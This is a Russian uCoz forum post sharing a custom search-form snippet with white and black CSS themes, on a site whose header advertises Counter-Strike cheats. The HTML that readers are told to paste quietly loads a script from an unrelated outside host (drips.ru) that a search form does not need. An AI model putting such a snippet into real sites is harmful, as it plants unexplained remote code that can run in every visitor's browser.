Два цветовых вариантов формы поиска (DMsearch v.1.0) - Форум
.:: Re-Soft.3dn.Ru ::. - .:: Re-Soft.3dn.Ru ::. - Создание и продвижение сайтов - новая кс 1.6 2011,Скачать Counter-Strike,Контер страйк бесплатно,Скачать пачти для CS 1.6 бесплатно,Скачать готовые ссервера для CS 1.6,готовые сервера бесплатно,Скачать плагины,моды,модели оружия,создать сервер,Всё для Ucoz,укоз,юкоз,скачать шаблоны для Ucoz,Скрипты для Ucoz бесплатно,скачать,читы для Counter-Strike,скачать wall Hack + AIM,скачать чит бесплтано для CS, AIM для CS, читы бесплатно, скачать читы для контер стайк, безопасность для компьютера, софт и различные программы, мультимедия, графика для сайтов, баннера, рейтинг, оптимизация для сайтов, продвижение, скачать фильмы, смотреть онлайн видео, смешные картинки,скачать Готовые сервера CS 1.6 бесплатно, скачать Модели Игроков CS 1.6 бесплатно, скачатьМодели Оружия CS 1.6 бесплатно, скачать Другие модели CS 1.6 ,скачать Программы CS 1.6,Темы меню CS 1.6,Античиты CS 1.6,Логотипы CS 1.6,Спрайты CS 1.6,Плагины CS 1.6,Карты CS 1.6,Видео CS 1.6, скачать Патчи CS 1.6,Боты CS 1.6,скачать Шапки для сайта,Шаблон,скачать Иконки групп,скачать Кнопки для форума,скачать PhotoShop, звуки,плагины Эффекты,Серверные плагины,плагины СтатистикИ,скачать Видео о читерах,скачать Видео Pro Gamer's,скачать Видео о прострелах,Видео о багах,Модели Игроков CS 1.6,Модели Оружия CS 1.6,Другие модели CS 1.6,Программы CS 1.6,Темы меню CS 1.6,Логотипы CS 1.6,Спрайты CS 1.6,Карты CS 1.6,Видео CS 1.6,Патчи CS 1.6,Боты CS 1.6,Моды CS 1.6 бесплатно,Сервер CS 1.6 бесплатно,Готовые сервера бесплатно,Программы,Античиты бесплатно,Плагины,Карты,Боты,Моды,Помощь по CS 1.6,читы для Counter-Strike,скачать wall Hack + AIM,скачать чит бесплтано для CS, AIM для CS, читы бесплатно, скачать читы для контер стайк, скачать софт,антивирусы, мкльтимедия, рабочий стол, смотреть онлайн видео, скачать фильмы, игры, бесплатно скачать, укоз скрипты, оптимизация, раскрутка, продвижение и создание сайтов,скачать разные игры,безопасность компа, помощь в Web, вопрос, ответ, реклама в интернете, все для Программы Софт, Фильмы, Музыка, Книги, Журналы, Юмор, Все для мобильного, Креатив, Все для Counter Strike Source, Все для Warcraft 3, Все для World Of Warcraft, Онлайновые игры, Скачать игры, Все для Point Blank, Все для COD MW 1/2, Все для COD 4, Все для Team Fortress 2
Среда, 07.12.2016, 13:30
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Скрипты для uCoz Системы » Другие скрипты » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
Два цветовых вариантов формы поиска (DMsearch v.1.0)
40GloccДата: Среда, 22.02.2012, 11:33 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 8
Репутация: 0
Статус: Offline
В этой статье я предлагаю вам заменить стандартную форму поиска uCoz, на более привлекательную и правильную с точки зрения юзабилити форму поиска DMsearch v.0.1, которая версталась под DOCTYPE 1.1

Шаг 1 установка кода:

Для начало, нам следует удалить старый код формы поиска uCoz

Code
$SEARCH_FORM$


и за место него установить следующий html код:

HTML-Code

Code
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" > <script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="poick_pole"type="text" name="q" maxlength="30" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/><input class="poick_knopka" type="submit" value="Найти" /><input type="hidden" name="t" value="0" /> </form>


теперь нам осталось выбрать нужный css стиль нашей формы поиска, я решил создать пять вариантов стилизации данной формы поиска, чтобы каждый пользователь мог выбрать ту или иную форму поиска под свою цветовую гамму сайта.

Вариант № 1 White (Белый):

Скрин: http://s005.radikal.ru/i212/1202/0b/5da86c24c3f4.png

Code
/* Форма поиска
------------------------------------------*/
.poick_os {   
   float:right;
}   

.poick_os input {
   vertical-align:middle;
}

.poick_pole {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#555; text-shadow: 1px 1px 1px #fff;
   height:16px;
   margin:0;
   padding:4px;
   background:#f6f6f6;
   border: 1px solid #d6d6d6;
   border-right: none;
}
     
.poick_pole:focus {
   background:#fff;
}   
     
.poick_knopka {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#555; text-shadow: 1px 1px 1px #fff;
   height:26px;
   margin:0;
   padding:0 7px;
   background:#e9e9e9;
   border:1px solid #d6d6d6;
}
     
.poick_knopka:hover{
   background:#d6d6d6;
   }


Вариант № 2 Black (Чёрный):

Скрин: http://s54.radikal.ru/i143/1202/0e/017a51775936.png

Code
/* Форма поиска
------------------------------------------*/
.poick_os {   
   float:right;
}   

.poick_os input {
   vertical-align:middle;
}

.poick_pole {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
   height:16px;
   margin:0;
   padding:4px;
   background:#484848;
   border: 1px solid #252525;
   border-right: none;
}
     
.poick_pole:focus {
   background:#545454;
}   
     
.poick_knopka {
   font:11px Verdana,Arial,Helvetica,sans-serif;
   color:#a7a7a7; text-shadow: 1px 1px 1px #252525;
   height:26px;
   margin:0;
   padding:0 7px;
   background:#545454;
   border:1px solid #252525;
}
     
.poick_knopka:hover {
   background:#252525;
   }


на этом всё, удачных вам поисков на вашем сайте...
 
Форум » Скрипты для uCoz Системы » Другие скрипты » Два цветовых вариантов формы поиска (DMsearch v.1.0) (предлагаю вам заменить стандартную форму поиска uCoz)
Страница 1 из 11
Поиск:

Мини-чат

Copyright Reliable-Soft © 2016 Сделать бесплатный сайт с uCoz